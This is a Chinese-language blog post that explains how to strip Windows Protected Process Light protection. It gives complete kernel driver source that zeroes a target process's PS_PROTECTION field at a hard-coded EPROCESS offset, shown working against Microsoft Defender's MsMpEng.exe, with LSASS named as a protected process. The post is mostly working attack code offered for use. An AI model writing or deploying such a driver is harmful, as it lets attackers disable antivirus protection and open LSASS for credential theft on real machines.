简单的干掉PPL的方法
简单的干掉PPL的方法
原理
Windows Protected Process Light (PPL) 是一项内核强制执行的安全功能,旨在防止未经授权访问和操纵敏感系统进程,例如 LSASS、反恶意软件服务和其他关键组件。
那么很显然干掉PPL这件事得在Driver层干
思路很简单,就是用户空间程序向驱动程序发送进程 ID ,驱动程序找到该进程的内部内核结构( EPROCESS ),然后在 EPROCESS 中查找 PS_PROTECTION 字段,最后驱动程序将保护级别设置为 0 。
PS_PROTECTION可以通过windbg来看其内部是怎么定义的,逆向出来就是
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
} Flags;
} u;
} PS_PROTECTION;
然后拿固定的偏移量
PS_PROTECTION* protection =
(PS_PROTECTION*)((UCHAR*)Process + 0x5fa);
这个0x5fa是咋来的呢,当然也是windbg的

需要注意的是,微软官方并未给出具体 EPROCESS 的定义,此偏移量取决于 Windows 版本,因此很难不保证在某次更新后其偏移量就改变了,
DbgPrint("Old Level: %02x\n", protection->u.Level);
protection->u.Level = 0;
然后清零就可以了。
验证
首先加载驱动(你需要有测试环境才能加载无签名驱动)


然后拿MsMpEng.exe开刀,更改前:

启动用户态exe

再查更改后的

可以看到Level已经变成0了
驱动层代码
#include <ntifs.h>
#include <ntddk.h>
#define IOCTL_CLEAR_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _PS_PROTECTION
{
union
{
UCHAR Level;
struct
{
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
} Flags;
} u;
} PS_PROTECTION, * PPS_PROTECTION;
DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD UnloadDriver;
DRIVER_DISPATCH IrpCreateHandler;
DRIVER_DISPATCH DriverDeviceControl;
NTSTATUS IrpCreateHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID UnloadDriver(PDRIVER_OBJECT DriverObject) {
UNICODE_STRING dos;
RtlInitUnicodeString(&dos, L"\\DosDevices\\QuitPPLs");
IoDeleteSymbolicLink(&dos);
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("Driver Unloaded\n");
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_SUCCESS;
ULONG ProcessId = 0;
PEPROCESS Process;
switch (stack->Parameters.DeviceIoControl.IoControlCode) {
case IOCTL_CLEAR_PROTECTION:
if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(ULONG)) {
status = STATUS_BUFFER_TOO_SMALL;
break;
}
ProcessId = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
DbgPrint("Request to clear protection for PID: %d\n", ProcessId);
status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)ProcessId, &Process);
if (NT_SUCCESS(status)) {
PS_PROTECTION* protection = (PS_PROTECTION*)((UCHAR*)Process + 0x5fa);
DbgPrint("Old Level: %02x\n", protection->u.Level);
protection->u.Level = 0;
ObDereferenceObject(Process);
}
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
UNREFERENCED_PARAMETER(RegistryPath);
UNICODE_STRING dev, dos;
RtlInitUnicodeString(&dev, L"\\Device\\QuitPPLs");
RtlInitUnicodeString(&dos, L"\\DosDevices\\QuitPPLs");
PDEVICE_OBJECT DeviceObject;
NTSTATUS status = IoCreateDevice(DriverObject, 0, &dev, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
if (!NT_SUCCESS(status)) return status;
status = IoCreateSymbolicLink(&dos, &dev);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(DeviceObject);
return status;
}
DriverObject->DriverUnload = UnloadDriver;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateHandler;
return STATUS_SUCCESS;
}

浙公网安备 33010602011771号